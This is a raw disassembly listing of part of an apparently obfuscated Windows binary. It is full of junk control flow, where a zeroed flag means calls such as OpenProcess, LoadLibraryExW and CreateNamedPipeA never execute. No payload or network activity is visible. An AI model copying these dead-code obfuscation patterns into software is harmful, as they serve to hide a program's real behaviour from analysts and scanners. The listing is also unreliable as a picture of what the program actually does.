mov dword [ebp - 0xa60], 2
jmp 0x47dcaf
mov eax, dword [ebp - 0xa60]
dec eax
mov dword [ebp - 0xa60], eax
cmp dword [ebp - 0xa60], 0
jl 0x47dcfe
mov dword [ebp - 0x2120], 0x8067e307
mov dword [ebp - 0x2120], 8
mov byte [ebp - 0x33d], 0
movzx eax, byte [ebp - 0x33d]
test eax, eax
je 0x47dcfc
push 0x25dc
push 0xaa2
push 0
push 0
push 0x1c6a
push 0x2498
call dword [sym.imp.USER32.dll_ToUnicode]
jmp 0x47dca2
mov dword [ebp - 0x13c4], 0x41b66baf
mov dword [ebp - 0x130], 0x1177e8ed
push 3
lea ecx, [ebp - 0x3190]
call fcn.00430131
mov dword [ebp - 0x1294], 0x29989d2
mov dword [ebp - 0x968], 0
jmp 0x47dd42
mov eax, dword [ebp - 0x968]
inc eax
mov dword [ebp - 0x968], eax
cmp dword [ebp - 0x968], 3
jge 0x47dd61
push dword [ebp - 0x968]
lea ecx, [ebp - 0x3190]
call fcn.0043021f
or dword [eax], 0xffffffff
jmp 0x47dd35
cmp dword [ebp - 0x130], 0
je 0x47ddcb
mov dword [ebp - 0x2128], 0
mov dword [ebp - 0x130], 2
jmp 0x47dd8d
mov eax, dword [ebp - 0x130]
dec eax
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 0
jl 0x47ddbc
mov byte [ebp - 0x3c7], 0
movzx eax, byte [ebp - 0x3c7]
test eax, eax
je 0x47ddba
push 0x1d8a
push 1
push 0x2520
call dword [sym.imp.KERNEL32.dll_OpenProcess]
jmp 0x47dd80
mov dword [ebp - 0x2128], 0x51cdcb36
jmp 0x47df84
mov dword [ebp - 0x570], 5
mov dword [ebp - 0x2138], 0xfffffffa
mov dword [ebp - 0x130], 0
jmp 0x47ddf8
mov eax, dword [ebp - 0x130]
dec eax
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 0xfffffff2
je 0x47df84
mov dword [ebp - 0x2130], 0xffffffff
mov dword [ebp - 0x374], 0x8e2294bb
mov eax, dword [ebp - 0x1294]
mov dword [ebp - 0x2d90], eax
cmp dword [ebp - 0x2130], 0
je 0x47df1d
cmp dword [ebp - 0x570], 0
je 0x47df1d
mov eax, dword [ebp - 0x374]
mov dword [ebp - 0x3230], eax
cmp dword [ebp - 0x1294], 0x7a9d
jl 0x47de63
mov dword [ebp - 0x129c], 1
jmp 0x47de6a
and dword [ebp - 0x129c], 0
mov eax, dword [ebp - 0x130]
mov ecx, dword [ebp - 0x570]
imul ecx, dword [ebp - 0x129c]
sub eax, ecx
cmp eax, dword [ebp - 0x570]
jge 0x47de93
mov dword [ebp - 0x12a4], 1
jmp 0x47de9a
and dword [ebp - 0x12a4], 0
mov eax, dword [ebp - 0x374]
cmp dword [ebp - 0x12a4], eax
jle 0x47deb4
mov dword [ebp - 0x12ac], 1
jmp 0x47debb
and dword [ebp - 0x12ac], 0
mov eax, dword [ebp - 0x570]
cmp dword [ebp - 0x12ac], eax
jl 0x47dedb
mov eax, 0x6353005
test eax, eax
jne 0x47dedb
and dword [ebp - 0x12b4], 0
jmp 0x47dee5
mov dword [ebp - 0x12b4], 1
mov eax, dword [ebp - 0x374]
cmp dword [ebp - 0x12b4], eax
jle 0x47deff
mov dword [ebp - 0x12bc], 1
jmp 0x47df06
and dword [ebp - 0x12bc], 0
mov eax, dword [ebp - 0x570]
add eax, dword [ebp - 0x12bc]
je 0x47df1d
and dword [ebp - 0x12c4], 0
jmp 0x47df27
mov dword [ebp - 0x12c4], 1
mov eax, dword [ebp - 0x12c4]
mov dword [ebp - 0x2138], eax
mov dword [ebp - 0x374], 0
jmp 0x47df4c
mov eax, dword [ebp - 0x374]
inc eax
mov dword [ebp - 0x374], eax
cmp dword [ebp - 0x374], 2
jg 0x47df7f
mov byte [ebp - 0x345], 0
movzx eax, byte [ebp - 0x345]
test eax, eax
je 0x47df7d
push 0x716
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x47df3f
jmp 0x47ddeb
lea ecx, [ebp - 0x3190]
call fcn.00430203
mov dword [ebp - 0x9f8], 0
jmp 0x47dfa8
mov eax, dword [ebp - 0x9f8]
dec eax
mov dword [ebp - 0x9f8], eax
cmp dword [ebp - 0x9f8], 0xfffffff6
jle 0x47e2e1
mov dword [ebp - 0x970], 6
mov byte [ebp - 0x3c9], 0
movzx eax, byte [ebp - 0x3c9]
test eax, eax
je 0x47dfdc
push 0xa82
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov dword [ebp - 0x970], 0x16
jmp 0x47dff5
mov eax, dword [ebp - 0x970]
dec eax
mov dword [ebp - 0x970], eax
cmp dword [ebp - 0x970], 0xffffffe4
jle 0x47e021
mov byte [ebp - 0x34d], 0
movzx eax, byte [ebp - 0x34d]
test eax, eax
je 0x47e01f
push 0xc0a
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
jmp 0x47dfe8
mov dword [ebp - 0x978], 9
push 2
lea ecx, [ebp - 0x2b24]
call fcn.00430131
mov dword [ebp - 0xa40], 0
jmp 0x47e051
mov eax, dword [ebp - 0xa40]
inc eax
mov dword [ebp - 0xa40], eax
cmp dword [ebp - 0xa40], 2
jge 0x47e070
push dword [ebp - 0xa40]
lea ecx, [ebp - 0x2b24]
call fcn.0043021f
or dword [eax], 0xffffffff
jmp 0x47e044
mov dword [ebp - 0x978], 0
jmp 0x47e089
mov eax, dword [ebp - 0x978]
dec eax
mov dword [ebp - 0x978], eax
cmp dword [ebp - 0x978], 0xffffffff
jl 0x47e11c
mov dword [ebp - 0x580], 0xffffffff
mov dword [ebp - 0x580], 0xfffffff4
jmp 0x47e0b9
mov eax, dword [ebp - 0x580]
inc eax
mov dword [ebp - 0x580], eax
cmp dword [ebp - 0x580], 0x10
jne 0x47e109
mov dword [ebp - 0x578], 1
mov dword [ebp - 0x578], 0
jmp 0x47e0e5
mov eax, dword [ebp - 0x578]
inc eax
mov dword [ebp - 0x578], eax
cmp dword [ebp - 0x578], 2
jge 0x47e107
push dword [ebp - 0x578]
lea ecx, [ebp - 0x2b24]
call fcn.0043021f
mov dword [eax], 0x543b
jmp 0x47e0d8
jmp 0x47e0ac
cmp dword [ebp - 0x580], 0
je 0x47e117
jmp 0x47e07c
jmp 0x47e07c
lea ecx, [ebp - 0x2b24]
call fcn.00430203
mov byte [ebp - 0x355], 0
mov dword [ebp - 0x3300], 0x5e48
mov dword [ebp - 0x32fc], 0x5e48
mov dword [ebp - 0x32f8], 0x5e48
mov dword [ebp - 0x32f4], 0x5e48
mov dword [ebp - 0x438], 0x52061f6
mov dword [ebp - 0x438], 3
jmp 0x47e179
mov eax, dword [ebp - 0x438]
dec eax
mov dword [ebp - 0x438], eax
cmp dword [ebp - 0x438], 0
jl 0x47e1ac
mov byte [ebp - 0x3cb], 0
movzx eax, byte [ebp - 0x3cb]
test eax, eax
je 0x47e1aa
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SelectClipRgn]
jmp 0x47e16c
mov eax, dword [ebp - 0x438]
mov dword [ebp - 0x438], eax
movzx eax, byte [ebp - 0x355]
test eax, eax
je 0x47e2dc
mov dword [ebp - 0x6b0], 0xbac64a68
push 2
lea ecx, [ebp - 0x31a0]
call fcn.00430131
mov dword [ebp - 0xa00], 0
jmp 0x47e1f7
mov eax, dword [ebp - 0xa00]
inc eax
mov dword [ebp - 0xa00], eax
cmp dword [ebp - 0xa00], 2
jge 0x47e216
push dword [ebp - 0xa00]
lea ecx, [ebp - 0x31a0]
call fcn.0043021f
and dword [eax], 0
jmp 0x47e1ea
mov dword [ebp - 0x6b0], 0xffffffe9
jmp 0x47e22f
mov eax, dword [ebp - 0x6b0]
inc eax
mov dword [ebp - 0x6b0], eax
cmp dword [ebp - 0x6b0], 3
jg 0x47e28e
mov dword [ebp - 0x6b8], 0xe6da504
mov dword [ebp - 0x6b8], 1
jmp 0x47e25b
mov eax, dword [ebp - 0x6b8]
dec eax
mov dword [ebp - 0x6b8], eax
cmp dword [ebp - 0x6b8], 0
jl 0x47e28c
mov byte [ebp - 0x3cd], 0
movzx eax, byte [ebp - 0x3cd]
test eax, eax
je 0x47e28a
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_EndDoc]
jmp 0x47e24e
jmp 0x47e222
mov byte [ebp - 0x35d], 0
movzx eax, byte [ebp - 0x35d]
test eax, eax
je 0x47e2c5
push 0
push 0x18
push 0x1ab6
push 0xe87
push 0x4df
push 0x1af6
push 0x168a
push 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
lea ecx, [ebp - 0x31a0]
call fcn.00430203
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_UnionRect]
jmp 0x47df9b
mov dword [ebp - 0x100], 0xa684
mov dword [ebp - 0x250], 0xffffffff
mov dword [ebp - 0x440], 0xffffffff
mov dword [ebp - 0xb84], 0xfff7
mov dword [ebp - 0x138], 0
push 3
lea ecx, [ebp - 0x2094]
call fcn.00430131
mov dword [ebp - 0xb8c], 5
mov dword [ebp - 0x1384], 0
mov dword [ebp - 0xb64], 0xbf19973
mov dword [ebp - 0x2160], 0xffffffff
mov dword [ebp - 0x2168], 6
mov dword [ebp - 0x6c0], 0
jmp 0x47e36b
mov eax, dword [ebp - 0x6c0]
inc eax
mov dword [ebp - 0x6c0], eax
cmp dword [ebp - 0x6c0], 3
jge 0x47e38d
push dword [ebp - 0x6c0]
lea ecx, [ebp - 0x2094]
call fcn.0043021f
mov dword [eax], 0xbb81
jmp 0x47e35e
cmp dword [ebp - 0x100], 0
je 0x47e595
mov dword [ebp - 0xf8], 1
mov dword [ebp - 0x12dc], 0xdf860956
mov dword [ebp - 0x1304], 4
mov eax, dword [ebp - 0xf8]
mov dword [ebp - 0x2d98], eax
mov eax, dword [ebp - 0x100]
mov dword [ebp - 0x3034], eax
mov eax, dword [ebp - 0xf8]
mov dword [ebp - 0x2da0], eax
mov eax, dword [ebp - 0xf8]
cmp dword [ebp - 0x100], eax
jge 0x47e3f6
mov dword [ebp - 0x2140], 1
jmp 0x47e3fd
and dword [ebp - 0x2140], 0
mov eax, dword [ebp - 0xf8]
mov dword [ebp - 0x3348], eax
cmp dword [ebp - 0xf8], 1
je 0x47e41e
mov dword [ebp - 0x12cc], 1
jmp 0x47e425
and dword [ebp - 0x12cc], 0
mov eax, dword [ebp - 0x100]
add eax, dword [ebp - 0x12cc]
cmp eax, dword [ebp - 0x100]
jge 0x47e445
mov dword [ebp - 0x12d4], 1
jmp 0x47e44c
and dword [ebp - 0x12d4], 0
mov eax, dword [ebp - 0x100]
cmp eax, dword [ebp - 0x12d4]
jge 0x47e466
mov dword [ebp - 0x2148], 1
jmp 0x47e46d
and dword [ebp - 0x2148], 0
mov eax, dword [ebp - 0x100]
mov dword [ebp - 0x2da8], eax
mov eax, dword [ebp - 0x100]
mov dword [ebp - 0x303c], eax
mov eax, dword [ebp - 0xf8]
mov dword [ebp - 0x250], eax
mov dword [ebp - 0x12dc], 6
mov eax, dword [ebp - 0x12dc]
mov dword [ebp - 0x250], eax
mov eax, dword [ebp - 0xf8]
sub eax, dword [ebp - 0xf8]
cmp eax, dword [ebp - 0x250]
jle 0x47e4c7
mov dword [ebp - 0x12f4], 1
jmp 0x47e4ce
and dword [ebp - 0x12f4], 0
cmp dword [ebp - 0xf8], 0xfffffff9
jle 0x47e4e3
mov dword [ebp - 0x12e4], 1
jmp 0x47e4ea
and dword [ebp - 0x12e4], 0
mov eax, dword [ebp - 0xf8]
cmp eax, dword [ebp - 0x12e4]
jne 0x47e504
mov dword [ebp - 0x12ec], 1
jmp 0x47e50b
and dword [ebp - 0x12ec], 0
mov eax, dword [ebp - 0x12ec]
mov dword [ebp - 0x440], eax
mov eax, dword [ebp - 0x12f4]
sub eax, dword [ebp - 0x440]
mov dword [ebp - 0xb84], eax
mov eax, dword [ebp - 0xf8]
cmp dword [ebp - 0xb84], eax
jle 0x47e543
mov dword [ebp - 0x12fc], 1
jmp 0x47e54a
and dword [ebp - 0x12fc], 0
mov eax, dword [ebp - 0x1304]
add eax, dword [ebp - 0x12fc]
jne 0x47e56a
cmp dword [ebp - 0x1304], 0
jne 0x47e56a
and dword [ebp - 0x130c], 0
jmp 0x47e574
mov dword [ebp - 0x130c], 1
imul eax, dword [ebp - 0x130c], 0xe70
cmp eax, dword [ebp - 0x100]
mov eax, dword [ebp - 0x250]
mov dword [ebp - 0x138], eax
jmp 0x47e7ec
mov dword [ebp - 0x588], 1
mov dword [ebp - 0x2150], 0xa7fcf623
mov dword [ebp - 0x6c8], 0
jmp 0x47e5c2
mov eax, dword [ebp - 0x6c8]
inc eax
mov dword [ebp - 0x6c8], eax
cmp dword [ebp - 0x6c8], 2
jge 0x47e5de
mov eax, dword [ebp - 0x6c8]
mov dword [ebp + eax*4 - 0x2c30], 0x127b1aa4
jmp 0x47e5b5
cmp dword [ebp - 0x588], 0
jne 0x47e5f9
mov eax, 0xb06a83cd
test eax, eax
jne 0x47e5f9
and dword [ebp - 0x131c], 0
jmp 0x47e603
mov dword [ebp - 0x131c], 1
mov dword [ebp - 0x138], 0xfff7
mov esi, dword [ebp - 0x138]
push 0
lea ecx, [ebp - 0x2094]
call fcn.0043021f
cmp esi, dword [eax]
je 0x47e636
cmp dword [ebp - 0x588], 0
jne 0x47e636
and dword [ebp - 0x1314], 0
jmp 0x47e640
mov dword [ebp - 0x1314], 1
cmp dword [ebp - 0x1314], 0xf4fd1a68
je 0x47e658
mov dword [ebp - 0x1324], 1
jmp 0x47e65f
and dword [ebp - 0x1324], 0
mov eax, dword [ebp - 0x131c]
sub eax, dword [ebp - 0x1324]
cmp eax, dword [ebp - 0x588]
jg 0x47e67f
mov dword [ebp - 0x132c], 1
jmp 0x47e686
and dword [ebp - 0x132c], 0
mov eax, dword [ebp - 0x132c]
mov dword [ebp - 0x250], eax
mov esi, dword [ebp - 0x250]
push 0
lea ecx, [ebp - 0x2094]
call fcn.0043021f
cmp esi, dword [eax]
jg 0x47e6b5
mov dword [ebp - 0x1334], 1
jmp 0x47e6bc
and dword [ebp - 0x1334], 0
mov eax, dword [ebp - 0x588]
cmp dword [ebp - 0x1334], eax
jge 0x47e6d6
mov dword [ebp - 0x133c], 1
jmp 0x47e6dd
and dword [ebp - 0x133c], 0
mov eax, dword [ebp - 0x588]
mov dword [ebp - 0x1344], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1344]
mov dword [ebp + eax - 0x2c30], ecx
push 2
lea ecx, [ebp - 0x2094]
call fcn.0043021f
mov ecx, dword [ebp - 0x133c]
add ecx, dword [eax]
mov eax, dword [ebp - 0x440]
imul eax, dword [ebp - 0x1344]
cmp eax, ecx
jne 0x47e72e
mov dword [ebp - 0x134c], 1
jmp 0x47e735
and dword [ebp - 0x134c], 0
mov eax, dword [ebp - 0x134c]
mov dword [ebp - 0x2150], eax
mov dword [ebp - 0x138], 0
jmp 0x47e75a
mov eax, dword [ebp - 0x138]
inc eax
mov dword [ebp - 0x138], eax
cmp dword [ebp - 0x138], 0xb
jle 0x47e7ec
mov dword [ebp - 0x1354], 0x5f4
mov dword [ebp - 0x2158], 0x7b094c65
mov byte [ebp - 0x3cf], 0
movzx eax, byte [ebp - 0x3cf]
test eax, eax
je 0x47e79b
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
cmp dword [ebp - 0x1354], 0xfff9
je 0x47e7b3
mov dword [ebp - 0x135c], 1
jmp 0x47e7ba
and dword [ebp - 0x135c], 0
mov eax, dword [ebp - 0x1354]
cmp eax, dword [ebp - 0x135c]
jge 0x47e7d4
mov dword [ebp - 0x1364], 1
jmp 0x47e7db
and dword [ebp - 0x1364], 0
mov eax, dword [ebp - 0x1364]
mov dword [ebp - 0x2158], eax
jmp 0x47e74d
cmp dword [ebp - 0x440], 0
je 0x47e8d3
mov esi, 0x33ff
sub esi, dword [ebp - 0xb8c]
push 0
lea ecx, [ebp - 0x2094]
call fcn.0043021f
cmp esi, dword [eax]
jle 0x47e821
mov dword [ebp - 0x136c], 1
jmp 0x47e828
and dword [ebp - 0x136c], 0
mov eax, dword [ebp - 0xb84]
cmp dword [ebp - 0x136c], eax
jl 0x47e842
mov dword [ebp - 0x1374], 1
jmp 0x47e849
and dword [ebp - 0x1374], 0
mov eax, dword [ebp - 0x1374]
mov dword [ebp - 0x250], eax
mov eax, dword [ebp - 0xb8c]
cmp dword [ebp - 0x250], eax
je 0x47e86f
mov dword [ebp - 0x137c], 1
jmp 0x47e876
and dword [ebp - 0x137c], 0
mov eax, dword [ebp - 0x137c]
sub eax, dword [ebp - 0x100]
mov dword [ebp - 0x1384], eax
mov eax, dword [ebp - 0x138]
imul eax, dword [ebp - 0x1384]
cmp eax, dword [ebp - 0xb64]
jge 0x47e8a9
mov dword [ebp - 0x138c], 1
jmp 0x47e8b0
and dword [ebp - 0x138c], 0
mov eax, dword [ebp - 0xb64]
cmp dword [ebp - 0x138c], eax
jge 0x47e8d3
cmp dword [ebp - 0xb64], 0
je 0x47e8d3
mov dword [ebp - 0x1394], 1
jmp 0x47e8da
and dword [ebp - 0x1394], 0
push 1
lea ecx, [ebp - 0x2094]
call fcn.0043021f
mov ecx, dword [ebp - 0x1394]
cmp ecx, dword [eax]
jl 0x47e8fd
mov dword [ebp - 0x139c], 1
jmp 0x47e904
and dword [ebp - 0x139c], 0
mov eax, dword [ebp - 0x139c]
mov dword [ebp - 0x138], eax
mov eax, dword [ebp - 0x2160]
cmp dword [ebp - 0x138], eax
jge 0x47e930
cmp dword [ebp - 0xb8c], 0
jne 0x47e930
and dword [ebp - 0x13a4], 0
jmp 0x47e93a
mov dword [ebp - 0x13a4], 1
mov eax, dword [ebp - 0x13a4]
sub eax, dword [ebp - 0x2168]
cmp eax, dword [ebp - 0x100]
jge 0x47e95a
mov dword [ebp - 0x13ac], 1
jmp 0x47e961
and dword [ebp - 0x13ac], 0
mov eax, dword [ebp - 0x440]
cmp eax, dword [ebp - 0x13ac]
jge 0x47e97b
mov dword [ebp - 0x13b4], 1
jmp 0x47e982
and dword [ebp - 0x13b4], 0
cmp dword [ebp - 0x13b4], 0x772679f1
jge 0x47e99a
mov dword [ebp - 0x13bc], 1
jmp 0x47e9a1
and dword [ebp - 0x13bc], 0
mov eax, dword [ebp - 0x13bc]
mov dword [ebp - 0x440], eax
lea ecx, [ebp - 0x2094]
call fcn.00430203
mov eax, dword [ebp - 0x13c4]
dec eax
mov dword [ebp - 0x13c4], eax
xor ecx, ecx
call fcn.0043049c
push eax
call fcn.004879a3
pop ecx
push 4
lea ecx, [ebp - 0xccc]
call fcn.00430131
mov dword [ebp - 0x590], 0x34e1054d
push 1
lea ecx, [ebp - 0x31b4]
call fcn.00430131
mov dword [ebp - 0x188], 0
jmp 0x47ea10
mov eax, dword [ebp - 0x188]
inc eax
mov dword [ebp - 0x188], eax
cmp dword [ebp - 0x188], 4
jge 0x47ea32
push dword [ebp - 0x188]
lea ecx, [ebp - 0xccc]
call fcn.0043021f
mov dword [eax], 0x4e064826
jmp 0x47ea03
mov dword [ebp - 0x188], 0
jmp 0x47ea4b
mov eax, dword [ebp - 0x188]
inc eax
mov dword [ebp - 0x188], eax
cmp dword [ebp - 0x188], 1
jge 0x47ea6d
push dword [ebp - 0x188]
lea ecx, [ebp - 0x31b4]
call fcn.0043021f
mov dword [eax], 0x276ac116
jmp 0x47ea3e
push 2
lea ecx, [ebp - 0xccc]
call fcn.0043021f
and dword [eax], 0
jmp 0x47eaa3
push 2
lea ecx, [ebp - 0xccc]
call fcn.0043021f
mov dword [ebp - 0x13cc], eax
mov eax, dword [ebp - 0x13cc]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x13cc]
mov dword [ecx], eax
push 2
lea ecx, [ebp - 0xccc]
call fcn.0043021f
cmp dword [eax], 0xfffffff4
jg 0x47ecd9
push 4
lea ecx, [ebp - 0xc5c]
call fcn.00430131
mov dword [ebp - 0x140c], 1
mov dword [ebp - 0x6d0], 0
jmp 0x47eae9
mov eax, dword [ebp - 0x6d0]
inc eax
mov dword [ebp - 0x6d0], eax
cmp dword [ebp - 0x6d0], 4
jge 0x47eb0b
push dword [ebp - 0x6d0]
lea ecx, [ebp - 0xc5c]
call fcn.0043021f
mov dword [eax], 0xb0e446df
jmp 0x47eadc
push 1
lea ecx, [ebp - 0xc5c]
call fcn.0043021f
mov dword [eax], 0x19
jmp 0x47eb44
push 1
lea ecx, [ebp - 0xc5c]
call fcn.0043021f
mov dword [ebp - 0x13d4], eax
mov eax, dword [ebp - 0x13d4]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x13d4]
mov dword [ecx], eax
push 1
lea ecx, [ebp - 0xc5c]
call fcn.0043021f
cmp dword [eax], 0x1d
jne 0x47ecbc
mov dword [ebp - 0x6d8], 1
mov dword [ebp - 0x2100], 2
push 1
lea ecx, [ebp - 0xc5c]
call fcn.0043021f
mov ecx, dword [ebp - 0x6d8]
cmp dword [eax], ecx
jge 0x47eb91
mov dword [ebp - 0x13dc], 1
jmp 0x47eb98
and dword [ebp - 0x13dc], 0
cmp dword [ebp - 0x13dc], 0xfffffff8
jl 0x47ebad
mov dword [ebp - 0x2170], 1
jmp 0x47ebb4
and dword [ebp - 0x2170], 0
push 0
lea ecx, [ebp - 0xccc]
call fcn.0043021f
mov eax, dword [ebp - 0x6d8]
mov dword [ebp - 0x2db0], eax
push 1
lea ecx, [ebp - 0xc5c]
call fcn.0043021f
mov eax, 0x709b
test eax, eax
jle 0x47ebef
mov dword [ebp - 0x13e4], 1
jmp 0x47ebf6
and dword [ebp - 0x13e4], 0
mov eax, dword [ebp - 0x6d8]
add eax, dword [ebp - 0x13e4]
je 0x47ec15
xor eax, eax
inc eax
je 0x47ec15
mov dword [ebp - 0x13ec], 1
jmp 0x47ec1c
and dword [ebp - 0x13ec], 0
mov esi, dword [ebp - 0x6d8]
imul esi, dword [ebp - 0x13ec]
push 1
lea ecx, [ebp - 0xc5c]
call fcn.0043021f
cmp esi, dword [eax]
jne 0x47ec46
mov dword [ebp - 0x13f4], 1
jmp 0x47ec4d
and dword [ebp - 0x13f4], 0
cmp dword [ebp - 0x13f4], 1
jg 0x47ec62
mov dword [ebp - 0x13fc], 1
jmp 0x47ec69
and dword [ebp - 0x13fc], 0
push 2
lea ecx, [ebp - 0xccc]
call fcn.0043021f
push 2
lea ecx, [ebp - 0xc5c]
call fcn.0043021f
mov esi, eax
push 0
lea ecx, [ebp - 0xc5c]
call fcn.0043021f
mov ecx, dword [esi]
cmp ecx, dword [eax]
jle 0x47eca4
mov dword [ebp - 0x1404], 1
jmp 0x47ecab
and dword [ebp - 0x1404], 0
mov eax, dword [ebp - 0x1404]
mov dword [ebp - 0x2100], eax
jmp 0x47eb20
mov eax, dword [ebp - 0x140c]
inc eax
mov dword [ebp - 0x140c], eax
lea ecx, [ebp - 0xc5c]
call fcn.00430203
jmp 0x47ea7f
mov dword [ebp - 0x590], 0
jmp 0x47ecf2
mov eax, dword [ebp - 0x590]
dec eax
mov dword [ebp - 0x590], eax
cmp dword [ebp - 0x590], 0xfffffff3
jne 0x47ee73
mov dword [ebp - 0x37c], 0xfffffff9
mov dword [ebp - 0x2190], 0xf4d4e2
mov dword [ebp - 0x2180], 1
mov dword [ebp - 0x1414], 0xc46d
cmp dword [ebp - 0x590], 0
je 0x47ed35
jmp 0x47ee73
mov dword [ebp - 0x37c], 3
jmp 0x47ed4e
mov eax, dword [ebp - 0x37c]
dec eax
mov dword [ebp - 0x37c], eax
cmp dword [ebp - 0x37c], 0
jl 0x47ee6e
mov dword [ebp - 0x3238], 1
mov dword [ebp - 0x141c], 0x3e5c7d81
mov dword [ebp - 0x142c], 8
mov eax, dword [ebp - 0x1414]
inc eax
mov dword [ebp - 0x1414], eax
mov eax, dword [ebp - 0x37c]
sub eax, 0x3d5ab883
mov dword [ebp - 0x141c], eax
je 0x47eda2
cmp dword [ebp - 0x2180], 0
jne 0x47edb4
mov eax, 0xf09d89c1
test eax, eax
jne 0x47edb4
and dword [ebp - 0x1424], 0
jmp 0x47edbe
mov dword [ebp - 0x1424], 1
mov eax, dword [ebp - 0x142c]
cmp dword [ebp - 0x1424], eax
jg 0x47edd8
mov dword [ebp - 0x1434], 1
jmp 0x47eddf
and dword [ebp - 0x1434], 0
mov eax, dword [ebp - 0x142c]
cmp eax, dword [ebp - 0x1434]
jg 0x47edf9
mov dword [ebp - 0x143c], 1
jmp 0x47ee00
and dword [ebp - 0x143c], 0
mov eax, dword [ebp - 0x37c]
cmp eax, dword [ebp - 0x143c]
jle 0x47ee1a
mov dword [ebp - 0x20fc], 1
jmp 0x47ee21
and dword [ebp - 0x20fc], 0
push dword [ebp - 0x37c]
lea ecx, [ebp - 0xccc]
call fcn.0043021f
cmp dword [ebp - 0x2190], 1
jl 0x47ee47
mov dword [ebp - 0x1444], 1
jmp 0x47ee4e
and dword [ebp - 0x1444], 0
mov esi, dword [ebp - 0x1444]
add esi, 0xc88
push 3
lea ecx, [ebp - 0xccc]
call fcn.0043021f
mov dword [eax], esi
jmp 0x47ed41
jmp 0x47ece5
lea ecx, [ebp - 0x31b4]
call fcn.00430203
lea ecx, [ebp - 0xccc]
call fcn.00430203
mov dword [ebp - 0xac], 0x3532
push 1
lea ecx, [ebp - 0x4c8]
call fcn.00430131
mov dword [ebp - 0x448], 9
mov dword [ebp - 0xc], 0x77cce45d
mov dword [ebp - 0x146c], 1
mov dword [ebp - 0x6e0], 0
jmp 0x47eed4
mov eax, dword [ebp - 0x6e0]
inc eax
mov dword [ebp - 0x6e0], eax
cmp dword [ebp - 0x6e0], 1
jge 0x47eef6
push dword [ebp - 0x6e0]
lea ecx, [ebp - 0x4c8]
call fcn.0043021f
mov dword [eax], 0x2a27
jmp 0x47eec7
cmp dword [ebp - 0xac], 0
jne 0x47f0bc
mov dword [ebp - 0x2950], 5
mov dword [ebp - 0x294c], 5
mov dword [ebp - 0x2948], 5
mov dword [ebp - 0x2944], 5
lea ecx, [ebp - 0xb4d]
call fcn.0043022e
push eax
lea eax, [ebp - 0x2940]
push eax
lea eax, [ebp - 0x2950]
push eax
lea ecx, [ebp - 0x34b8]
call fcn.00430231
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x29e0]
call fcn.004301dd
mov byte [ebp - 0x365], 0
movzx eax, byte [ebp - 0x365]
test eax, eax
je 0x47ef81
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_TranslateMDISysAccel]
mov dword [ebp - 0xac], 0
jmp 0x47ef9a
mov eax, dword [ebp - 0xac]
inc eax
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 0
jg 0x47f0ac
push dword [ebp - 0xac]
lea ecx, [ebp - 0x4c8]
call fcn.0043021f
push dword [ebp - 0xac]
lea ecx, [ebp - 0x4c8]
call fcn.0043021f
push 2
lea ecx, [ebp - 0x29e0]
call fcn.0043021f
mov esi, eax
push 0
lea ecx, [ebp - 0x4c8]
call fcn.0043021f
mov ecx, dword [esi]
cmp ecx, dword [eax]
jne 0x47eff7
mov dword [ebp - 0x2198], 1
jmp 0x47effe
and dword [ebp - 0x2198], 0
push dword [ebp - 0xac]
lea ecx, [ebp - 0x4c8]
call fcn.0043021f
cmp dword [eax], 0xb2b534de
je 0x47f023
mov dword [ebp - 0x144c], 1
jmp 0x47f02a
and dword [ebp - 0x144c], 0
push 0
lea ecx, [ebp - 0x29e0]
call fcn.0043021f
mov eax, dword [eax]
cmp eax, dword [ebp - 0x144c]
je 0x47f04a
cmp dword [ebp - 0x448], 0
je 0x47f05b
or eax, 0xffffffff
je 0x47f05b
mov dword [ebp - 0x1454], 1
jmp 0x47f062
and dword [ebp - 0x1454], 0
mov eax, dword [ebp - 0x1454]
sub eax, 0x30498d20
jne 0x47f081
mov eax, 0xfffe
test eax, eax
jne 0x47f081
and dword [ebp - 0x145c], 0
jmp 0x47f08b
mov dword [ebp - 0x145c], 1
push dword [ebp - 0xac]
lea ecx, [ebp - 0x4c8]
call fcn.0043021f
mov ecx, dword [ebp - 0x145c]
sub ecx, dword [eax]
mov dword [ebp - 0xc], ecx
jmp 0x47ef8d
lea ecx, [ebp - 0x29e0]
call fcn.00430203
jmp 0x47f434
mov dword [ebp - 0x148c], 0x1da89a03
mov dword [ebp - 0x6f0], 0xffffffff
mov dword [ebp - 0x6e8], 0
jmp 0x47f0e9
mov eax, dword [ebp - 0x6e8]
inc eax
mov dword [ebp - 0x6e8], eax
cmp dword [ebp - 0x6e8], 4
jge 0x47f105
mov eax, dword [ebp - 0x6e8]
mov dword [ebp + eax*4 - 0x33a4], 0
jmp 0x47f0dc
mov dword [ebp - 0xac], 0
jmp 0x47f11e
mov eax, dword [ebp - 0xac]
inc eax
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 0x1d
jle 0x47f434
mov dword [ebp - 0x6f8], 3
mov dword [ebp - 0x21b0], 0xd2634d7f
mov dword [ebp - 0xc], 0
jmp 0x47f14f
mov eax, dword [ebp - 0xc]
dec eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xfffffffd
je 0x47f190
mov dword [ebp - 0x21a0], 3
mov dword [ebp - 0x448], 0xffffffe2
jmp 0x47f178
mov eax, dword [ebp - 0x448]
inc eax
mov dword [ebp - 0x448], eax
cmp dword [ebp - 0x448], 0x34
jle 0x47f18e
